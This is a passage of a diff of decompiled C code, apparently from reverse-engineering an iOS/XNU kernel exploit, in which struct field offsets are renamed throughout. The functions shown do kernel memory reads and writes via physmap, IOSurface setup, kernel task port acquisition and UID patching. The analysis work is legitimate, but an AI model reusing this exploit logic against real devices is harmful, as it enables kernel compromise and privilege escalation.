a1->gap_0x370[680] = translation_delta; a1->gap_0x18B0 = translation_delta;
return map_physpage_to_user(a1, translation_base, translation_delta, a2); return map_physpage_to_user(a1, translation_base, translation_delta, a2);
} }
} }
@@ -41325,8 +41325,8 @@ __int64 __fastcall resolve_physpage_addr(struct_krwCtx *a1, unsigned __int64 a2)
unsigned __int64 translation_base; // [xsp+0h] [xbp-30h] BYREF unsigned __int64 translation_base; // [xsp+0h] [xbp-30h] BYREF
unsigned __int64 translation_delta; // [xsp+8h] [xbp-28h] BYREF unsigned __int64 translation_delta; // [xsp+8h] [xbp-28h] BYREF
translation_base = a1->gap_0x370[679]; translation_base = a1->gap_0x18A8;
translation_delta = a1->gap_0x370[680]; translation_delta = a1->gap_0x18B0;
if ( translation_base ) if ( translation_base )
{ {
return translate_physmap_addr_via_segments(a1, translation_base, translation_delta, a2); return translate_physmap_addr_via_segments(a1, translation_base, translation_delta, a2);
@@ -41343,8 +41343,8 @@ __int64 __fastcall resolve_physpage_addr(struct_krwCtx *a1, unsigned __int64 a2)
{ {
return 0; return 0;
} }
a1->gap_0x370[679] = translation_base; a1->gap_0x18A8 = translation_base;
a1->gap_0x370[680] = translation_delta; a1->gap_0x18B0 = translation_delta;
return translate_physmap_addr_via_segments(a1, translation_base, translation_delta, a2); return translate_physmap_addr_via_segments(a1, translation_base, translation_delta, a2);
} }
} }
@@ -41677,7 +41677,7 @@ __int64 __fastcall physwritebuf_direct_mapped(
__int64 result; // x0 __int64 result; // x0
uint64_t v10[7]; // [xsp+8h] [xbp-58h] BYREF uint64_t v10[7]; // [xsp+8h] [xbp-58h] BYREF
v9 = *(__int64 (__fastcall **)(struct_krwCtx *, unsigned __int64, const void *, unsigned int, int))&krwCtx->gap_0x4[68]; v9 = *(__int64 (__fastcall **)(struct_krwCtx *, unsigned __int64, const void *, unsigned int, int))&krwCtx->gap_0x48;
if ( v9 ) if ( v9 )
{ {
return v9(krwCtx, paddr, buf, size, something); return v9(krwCtx, paddr, buf, size, something);
@@ -41787,7 +41787,7 @@ uint64_t __fastcall remap_kaddr_through_physmap(struct_krwCtx *a1, __int64 a2)
uint8_t v17[32]; // [xsp+8h] [xbp-48h] BYREF uint8_t v17[32]; // [xsp+8h] [xbp-48h] BYREF
__int64 v18; // [xsp+28h] [xbp-28h] __int64 v18; // [xsp+28h] [xbp-28h]
v4 = a1->gap_0x370[681]; v4 = a1->gap_0x18B8;
v5 = a1->pageMask; v5 = a1->pageMask;
v6 = a2 & ~v5; v6 = a2 & ~v5;
if ( v4 ) if ( v4 )
@@ -41796,7 +41796,7 @@ uint64_t __fastcall remap_kaddr_through_physmap(struct_krwCtx *a1, __int64 a2)
v7 = 0; v7 = 0;
if ( v7 ) if ( v7 )
{ {
v8 = a1->gap_0x370[682]; v8 = a1->gap_0x18C0;
if ( v8 ) if ( v8 )
return v8 + (v5 & a2); return v8 + (v5 & a2);
} }
@@ -41814,8 +41814,8 @@ uint64_t __fastcall remap_kaddr_through_physmap(struct_krwCtx *a1, __int64 a2)
if ( !v13 && v14 != 0 ) if ( !v13 && v14 != 0 )
{ {
v16 = a1->pageMask; v16 = a1->pageMask;
a1->gap_0x370[681] = a2 & ~v16; a1->gap_0x18B8 = a2 & ~v16;
a1->gap_0x370[682] = v14 & ~v16; a1->gap_0x18C0 = v14 & ~v16;
return v14; return v14;
} }
return result; return result;
@@ -42541,10 +42541,10 @@ LABEL_18:
return result; return result;
if ( memcmp(__s1, task_info_out, (unsigned int)a5) ) if ( memcmp(__s1, task_info_out, (unsigned int)a5) )
return 0; return 0;
if ( !a1->gap_0x370[690] && a3 == 2 && mach_task_self_ == target_task ) if ( !a1->gap_0x1900 && a3 == 2 && mach_task_self_ == target_task )
{ {
a1->gap_0x370[691] = *(uint64_t *)task_info_out; a1->gap_0x1908 = *(uint64_t *)task_info_out;
a1->gap_0x370[690] = v20; a1->gap_0x1900 = v20;
} }
return kwritebuf_universal(a1, v20, a4, a5); return kwritebuf_universal(a1, v20, a4, a5);
} }
@@ -44829,15 +44829,15 @@ __int64 __fastcall driver_init2_1(struct_krwCtx *krwCtx, int something)
v4 = semaphore_create(mach_task_self_, &krwCtx->semaphore, 0, 0); v4 = semaphore_create(mach_task_self_, &krwCtx->semaphore, 0, 0);
if ( v4 ) if ( v4 )
return v4 | 0x80000000; return v4 | 0x80000000;
v7 = kernel_version_parse(&xnuVersion, krwCtx->gap_0x16C, &krwCtx->gap_0x16C[1]); v7 = kernel_version_parse(&xnuVersion, &krwCtx->gap_0x16C_0, &krwCtx->gap_0x170);
if ( !v7 ) if ( !v7 )
return 708629; return 708629;
v8 = 163858; v8 = 163858;
oword10 = xnuVersion.oword10; oword10 = xnuVersion.oword10;
*(__int128 *)&krwCtx->xnuMajorVersion = xnuVersion.majorVersion; *(__int128 *)&krwCtx->xnuMajorVersion = xnuVersion.majorVersion;
*(__int128 *)&krwCtx->gap_0x144[12] = oword10; *(__int128 *)&krwCtx->gap_0x150 = oword10;
v10 = *((uint64_t *)&xnuVersion.oword10 + 1); v10 = *((uint64_t *)&xnuVersion.oword10 + 1);
*(uint64_t *)krwCtx->gap_0x160 = xnuVersion.qword20; krwCtx->gap_0x160_size8 = xnuVersion.qword20;
krwCtx->stride_0x168 = 8; krwCtx->stride_0x168 = 8;
mach_port_with_a2 = 163847; mach_port_with_a2 = 163847;
if ( (unsigned __int64)(v10 - XNU_VERSION_PACKED(6153, 0, 103, 0, 0)) > 0xF090EFE400003LL ) if ( (unsigned __int64)(v10 - XNU_VERSION_PACKED(6153, 0, 103, 0, 0)) > 0xF090EFE400003LL )
@@ -44914,7 +44914,7 @@ LABEL_23:
return mach_port_with_a2; return mach_port_with_a2;
LABEL_33: LABEL_33:
if ( xnuMajorVersion >= 7195 ) if ( xnuMajorVersion >= 7195 )
krwCtx->gap_0x4[7] = check_sandboxed(krwCtx->xnuVersionPacked >> 43 > 0x44A); krwCtx->gap_0xB = check_sandboxed(krwCtx->xnuVersionPacked >> 43 > 0x44A);
if ( !(unsigned int)comm_page_get_cpu_family((uint32_t *)&cpuFamily) ) if ( !(unsigned int)comm_page_get_cpu_family((uint32_t *)&cpuFamily) )
return 163858; return 163858;
if ( (int)cpuFamily <= 0x2876F5B4 ) if ( (int)cpuFamily <= 0x2876F5B4 )
@@ -45085,7 +45085,7 @@ LABEL_87:
if ( v35 != v36 ) if ( v35 != v36 )
return 0x28012; return 0x28012;
LABEL_96: LABEL_96:
krwCtx->gap_0x16C[3] = 2 * v34 - 64; krwCtx->gap_0x178 = 2 * v34 - 64;
*(__int128 *)krwCtx->gap_0x19E8 = xmmword_43730; *(__int128 *)krwCtx->gap_0x19E8 = xmmword_43730;
if ( !(unsigned int)another_sandbox_check(krwCtx) ) if ( !(unsigned int)another_sandbox_check(krwCtx) )
return 0x28012; return 0x28012;
@@ -45111,13 +45111,13 @@ LABEL_96:
v42 = 1152; v42 = 1152;
if ( !krw_has_any_ready_method(krwCtx) ) if ( !krw_has_any_ready_method(krwCtx) )
{ {
mach_port_with_a2 = kext_exploit_main_trampoline((uint64_t)krwCtx, krwCtx->gap_0x19D0, 0, (uint64_t)&krwCtx->gap_0x370[693]); mach_port_with_a2 = kext_exploit_main_trampoline((uint64_t)krwCtx, krwCtx->gap_0x19D0, 0, (uint64_t)&krwCtx->gap_0x1918);
if ( (uint32_t)mach_port_with_a2 ) if ( (uint32_t)mach_port_with_a2 )
return mach_port_with_a2; return mach_port_with_a2;
} }
if ( has_valid_krw_path(krwCtx) ) if ( has_valid_krw_path(krwCtx) )
{ {
if ( krwCtx->xnuVersionPacked > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) && krwCtx->gap_0x4[7] ) if ( krwCtx->xnuVersionPacked > XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) && krwCtx->gap_0xB )
{ {
v95 = 1; v95 = 1;
goto LABEL_172; goto LABEL_172;
@@ -45137,7 +45137,7 @@ LABEL_172:
return mach_port_with_a2; return mach_port_with_a2;
v43 = krwCtx->xnuVersionPacked; v43 = krwCtx->xnuVersionPacked;
} }
v93 = (mach_port_name_t *)&krwCtx->gap_0x370[693] + 1; v93 = (mach_port_name_t *)&krwCtx->gap_0x1918 + 1;
if ( v43 <= XNU_VERSION_PACKED(8791, 1023, 1023, 1023, 1023) ) if ( v43 <= XNU_VERSION_PACKED(8791, 1023, 1023, 1023, 1023) )
{ {
v47 = krwCtx->gap_0x19D0; v47 = krwCtx->gap_0x19D0;
@@ -45158,7 +45158,7 @@ LABEL_172:
} }
else else
{ {
HIDWORD(krwCtx->gap_0x370[693]) = -1; HIDWORD(krwCtx->gap_0x1918) = -1;
} }
if ( (unsigned int)alloc_vm_page(krwCtx) ) if ( (unsigned int)alloc_vm_page(krwCtx) )
{ {
@@ -45237,26 +45237,26 @@ LABEL_211:
*(__int128 *)(v52 + 112) = xnuVersion.majorVersion; *(__int128 *)(v52 + 112) = xnuVersion.majorVersion;
*(__int128 *)(v52 + 128) = v59; *(__int128 *)(v52 + 128) = v59;
*(uint64_t *)(v52 + 144) = xnuVersion.qword20; *(uint64_t *)(v52 + 144) = xnuVersion.qword20;
*(uint32_t *)(v52 + 152) = krwCtx->gap_0x16C[3]; *(uint32_t *)(v52 + 152) = krwCtx->gap_0x178;
*(uint32_t *)(v52 + 56) = krwCtx->pageSizeOrSomething; *(uint32_t *)(v52 + 56) = krwCtx->pageSizeOrSomething;
if ( !iosurface_physmap_setup_alt(v52, krwCtx->gap_0x370[693], v44, v42) ) if ( !iosurface_physmap_setup_alt(v52, krwCtx->gap_0x1918, v44, v42) )
return 163863; return 163863;
krwCtx->gap_0x19F8 = v52; krwCtx->gap_0x19F8 = v52;
} }
v53 = *(__int64 (__fastcall **)(struct_krwCtx *))&krwCtx->gap_0x190[80]; v53 = *(__int64 (__fastcall **)(struct_krwCtx *))&krwCtx->gap_0x1E0;
if ( v53 && *(uint64_t *)&krwCtx->gap_0x190[88] ) if ( v53 && *(uint64_t *)&krwCtx->gap_0x1E8 )
{ {
mach_port_with_a2 = v53(krwCtx); mach_port_with_a2 = v53(krwCtx);
if ( (uint32_t)mach_port_with_a2 ) if ( (uint32_t)mach_port_with_a2 )
return mach_port_with_a2; return mach_port_with_a2;
*(uint64_t *)&krwCtx->gap_0x190[80] = 0; *(uint64_t *)&krwCtx->gap_0x1E0 = 0;
*(uint64_t *)&krwCtx->gap_0x190[88] = 0; *(uint64_t *)&krwCtx->gap_0x1E8 = 0;
} }
if ( krwCtx->xnuVersionPacked > XNU_VERSION_PACKED(8791, 1023, 1023, 1023, 1023) ) if ( krwCtx->xnuVersionPacked > XNU_VERSION_PACKED(8791, 1023, 1023, 1023, 1023) )
{ {
v54 = *v93; v54 = *v93;
if ( !*v93 ) if ( !*v93 )
v54 = krwCtx->gap_0x370[693]; v54 = krwCtx->gap_0x1918;
v55 = find_kernel_struct_addr(krwCtx, v54); v55 = find_kernel_struct_addr(krwCtx, v54);
if ( v55 ) if ( v55 )
{ {
@@ -45272,7 +45272,7 @@ LABEL_211:
} }
v60 = *v93; v60 = *v93;
if ( !*v93 ) if ( !*v93 )
v60 = krwCtx->gap_0x370[693]; v60 = krwCtx->gap_0x1918;
if ( (unsigned int)get_task_memory_info(v60, &v104, &v103) ) if ( (unsigned int)get_task_memory_info(v60, &v104, &v103) )
return 0x28012; return 0x28012;
krwCtx->gap_0x19E8 = *(uint64_t *)&v104.st_dev; krwCtx->gap_0x19E8 = *(uint64_t *)&v104.st_dev;
@@ -45281,7 +45281,7 @@ LABEL_233:
krwCtx->gap_0x19F0 = v57; krwCtx->gap_0x19F0 = v57;
if ( *(uint32_t *)gap_0x1948 == -1 || krwCtx->krw_pipe_1 == -1 || krwCtx->gap_0x1940 == -1 || !krwCtx->gap_0x218 ) if ( *(uint32_t *)gap_0x1948 == -1 || krwCtx->krw_pipe_1 == -1 || krwCtx->gap_0x1940 == -1 || !krwCtx->gap_0x218 )
goto LABEL_260; goto LABEL_260;
v61 = *(__int64 **)krwCtx->gap_0x220; v61 = *(__int64 **)&krwCtx->gap_0x220;
if ( krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023) ) if ( krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023) )
{ {
if ( v61 ) if ( v61 )
@@ -45319,7 +45319,7 @@ LABEL_255:
} }
if ( ++v63 != 7 ) if ( ++v63 != 7 )
goto LABEL_255; goto LABEL_255;
*(uint64_t *)krwCtx->gap_0x220 = v61; *(__int64 **)&krwCtx->gap_0x220 = v61;
LABEL_259: LABEL_259:
*(uint64_t *)(*(uint64_t *)&krwCtx->gap_0x118 + 256LL) = v61; *(uint64_t *)(*(uint64_t *)&krwCtx->gap_0x118 + 256LL) = v61;
LABEL_260: LABEL_260:
@@ -45336,7 +45336,7 @@ LABEL_260:
*(__int128 *)(v68 + 112) = xnuVersion.majorVersion; *(__int128 *)(v68 + 112) = xnuVersion.majorVersion;
*(__int128 *)(v68 + 128) = v69; *(__int128 *)(v68 + 128) = v69;
*(uint64_t *)(v68 + 144) = xnuVersion.qword20; *(uint64_t *)(v68 + 144) = xnuVersion.qword20;
*(uint32_t *)(v68 + 152) = krwCtx->gap_0x16C[3]; *(uint32_t *)(v68 + 152) = krwCtx->gap_0x178;
*(uint32_t *)(v68 + 56) = krwCtx->pageSizeOrSomething; *(uint32_t *)(v68 + 56) = krwCtx->pageSizeOrSomething;
if ( (unsigned int)alloc_kernel_offset_table(v68, *(uint64_t *)(v52 + 160)) ) if ( (unsigned int)alloc_kernel_offset_table(v68, *(uint64_t *)(v52 + 160)) )
{ {
@@ -45362,14 +45362,14 @@ LABEL_267:
v79->xnuMajorVersion = xnuVersion.majorVersion; v79->xnuMajorVersion = xnuVersion.majorVersion;
v79->oword80 = v81; v79->oword80 = v81;
*(uint64_t *)&v79->oword90 = xnuVersion.qword20; *(uint64_t *)&v79->oword90 = xnuVersion.qword20;
DWORD2(v79->oword90) = krwCtx->gap_0x16C[3]; DWORD2(v79->oword90) = krwCtx->gap_0x178;
DWORD2(v79->oword30) = krwCtx->pageSizeOrSomething; DWORD2(v79->oword30) = krwCtx->pageSizeOrSomething;
if ( v41 > XNU_VERSION_PACKED(8791, 1023, 1023, 1023, 1023) ) if ( v41 > XNU_VERSION_PACKED(8791, 1023, 1023, 1023, 1023) )
{ {
BYTE1(v79->oword100) = 1; BYTE1(v79->oword100) = 1;
*((uint64_t *)&v79->owordA0 + 1) = v52; *((uint64_t *)&v79->owordA0 + 1) = v52;
} }
if ( !iosurface_physmap_setup_bool((__int64)v79, krwCtx->gap_0x370[693], v98, v80) ) if ( !iosurface_physmap_setup_bool((__int64)v79, krwCtx->gap_0x1918, v98, v80) )
return 163863; return 163863;
LODWORD(v79->oword30) = *(uint32_t *)(v52 + 48); LODWORD(v79->oword30) = *(uint32_t *)(v52 + 48);
krwCtx->gap_0x1D18_size8 = (uint64_t)v79; krwCtx->gap_0x1D18_size8 = (uint64_t)v79;
@@ -45385,14 +45385,14 @@ LABEL_267:
v83->xnuMajorVersion = xnuVersion.majorVersion; v83->xnuMajorVersion = xnuVersion.majorVersion;
v83->oword80 = v84; v83->oword80 = v84;
v83->qword90 = xnuVersion.qword20; v83->qword90 = xnuVersion.qword20;
v83->dword98 = krwCtx->gap_0x16C[3]; v83->dword98 = krwCtx->gap_0x178;
v83->dword38 = krwCtx->pageSizeOrSomething; v83->dword38 = krwCtx->pageSizeOrSomething;
if ( v41 > XNU_VERSION_PACKED(8791, 1023, 1023, 1023, 1023) ) if ( v41 > XNU_VERSION_PACKED(8791, 1023, 1023, 1023, 1023) )
{ {
v83->byte101 = 1; v83->byte101 = 1;
v83->qwordA8 = v52; v83->qwordA8 = v52;
} }
if ( !iosurface_physmap_setup_bool((__int64)v83, krwCtx->gap_0x370[693], v100, v80) ) if ( !iosurface_physmap_setup_bool((__int64)v83, krwCtx->gap_0x1918, v100, v80) )
return 163863; return 163863;
v83->dword30 = *(uint32_t *)(v52 + 48); v83->dword30 = *(uint32_t *)(v52 + 48);
krwCtx->gap_0x1D20_kern_addr_allows_security_research = (uint64_t)v83; krwCtx->gap_0x1D20_kern_addr_allows_security_research = (uint64_t)v83;
@@ -45478,7 +45478,7 @@ LABEL_280:
} }
krwCtx->gap_0x1928 = mach_host_self(); krwCtx->gap_0x1928 = mach_host_self();
v72 = get_kernel_task_host_port(krwCtx); v72 = get_kernel_task_host_port(krwCtx);
LODWORD(krwCtx->gap_0x370[694]) = v72; LODWORD(krwCtx->gap_0x1920) = v72;
mach_port_with_a2 = 163854; mach_port_with_a2 = 163854;
if ( krwCtx->gap_0x1928 + 1 < 2 ) if ( krwCtx->gap_0x1928 + 1 < 2 )
return mach_port_with_a2; return mach_port_with_a2;
@@ -45490,7 +45490,7 @@ LABEL_280:
if ( krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) ) if ( krwCtx->xnuVersionPacked <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
{ {
v74 = get_ioservice_conn_port(krwCtx); v74 = get_ioservice_conn_port(krwCtx);
HIDWORD(krwCtx->gap_0x370[694]) = v74; HIDWORD(krwCtx->gap_0x1920) = v74;
if ( (unsigned int)(v74 + 1) < 2 ) if ( (unsigned int)(v74 + 1) < 2 )
return mach_port_with_a2; return mach_port_with_a2;
goto LABEL_291; goto LABEL_291;
@@ -45505,11 +45505,11 @@ LABEL_293:
LABEL_291: LABEL_291:
if ( krwCtx->xnuVersionPacked > XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023) ) if ( krwCtx->xnuVersionPacked > XNU_VERSION_PACKED(7195, 100, 325, 1023, 1023) )
{ {
v73 = krwCtx->gap_0x370[694]; v73 = krwCtx->gap_0x1920;
goto LABEL_293; goto LABEL_293;
} }
} }
v76 = krwCtx->gap_0x370[694]; v76 = krwCtx->gap_0x1920;
if ( v76 + 1 < 2 ) if ( v76 + 1 < 2 )
return 708609; return 708609;
v104.st_dev = 0; v104.st_dev = 0;
@@ -45754,7 +45754,7 @@ __int64 __fastcall driver_dispatch_command3(struct_krwCtx *a1, int cmd, __int64
v6 = 708616; v6 = 708616;
if ( !((unsigned int)cmd >> 30) || (result = 708609, inoutValue) ) if ( !((unsigned int)cmd >> 30) || (result = 708609, inoutValue) )
{ {
*(__int128 *)&a1->gap_0x370[681] = 0u; *(__int128 *)&a1->gap_0x18B8 = 0u;
krw_ctx_clr_flag(a1, 0x800000); krw_ctx_clr_flag(a1, 0x800000);
update_timer_lru_cache(a1); update_timer_lru_cache(a1);
result = refresh_target_task_port(a1, mach_task_self_, 0, 0); result = refresh_target_task_port(a1, mach_task_self_, 0, 0);
@@ -45879,9 +45879,9 @@ __int64 __fastcall driver_dispatch_command3(struct_krwCtx *a1, int cmd, __int64
goto LABEL_215; goto LABEL_215;
case DRIVER_CMD_SET_THREAD_KOBJ_DISPATCH: case DRIVER_CMD_SET_THREAD_KOBJ_DISPATCH:
v31 = mach_thread_self(); v31 = mach_thread_self();
v32 = HIDWORD(a1->gap_0x370[693]); v32 = HIDWORD(a1->gap_0x1918);
if ( !v32 ) if ( !v32 )
v32 = a1->gap_0x370[693]; v32 = a1->gap_0x1918;
if ( !kwrite_task_dispatch_via_kobj((__int64)a1, v32, v31) ) if ( !kwrite_task_dispatch_via_kobj((__int64)a1, v32, v31) )
goto LABEL_215; goto LABEL_215;
LODWORD(v6) = 0; LODWORD(v6) = 0;
@@ -45964,7 +45964,7 @@ LABEL_128:
else else
v33 = mach_task_self_; v33 = mach_task_self_;
LABEL_136: LABEL_136:
v8[0] = set_task_special_port_and_patch_uid((__int64)a1, v33, a1->gap_0x370[694]); v8[0] = set_task_special_port_and_patch_uid((__int64)a1, v33, a1->gap_0x1920);
goto LABEL_215; goto LABEL_215;
case DRIVER_CMD_PHYSMAP_KREAD_AND_REFRESH: case DRIVER_CMD_PHYSMAP_KREAD_AND_REFRESH:
if ( !(uint32_t)v3 ) if ( !(uint32_t)v3 )
@@ -46111,7 +46111,7 @@ LABEL_188:
*(uint32_t *)(v3 + 24) = 0; *(uint32_t *)(v3 + 24) = 0;
} }
LODWORD(v6) = 0; LODWORD(v6) = 0;
v8[0] = mach_vm_wire(a1->gap_0x370[694], *(uint32_t *)v3, *(uint64_t *)(v3 + 8), *(uint64_t *)(v3 + 16), v45) == 0; v8[0] = mach_vm_wire(a1->gap_0x1920, *(uint32_t *)v3, *(uint64_t *)(v3 + 8), *(uint64_t *)(v3 + 16), v45) == 0;
goto LABEL_216; goto LABEL_216;
case DRIVER_CMD_KWRITE_VERSION_CHECK: case DRIVER_CMD_KWRITE_VERSION_CHECK:
v8[0] = kwrite_with_version_check(a1, *(uint32_t *)v3, *(uint64_t *)(v3 + 8), *(unsigned __int8 *)(v3 + 24)); v8[0] = kwrite_with_version_check(a1, *(uint32_t *)v3, *(uint64_t *)(v3 + 8), *(unsigned __int8 *)(v3 + 24));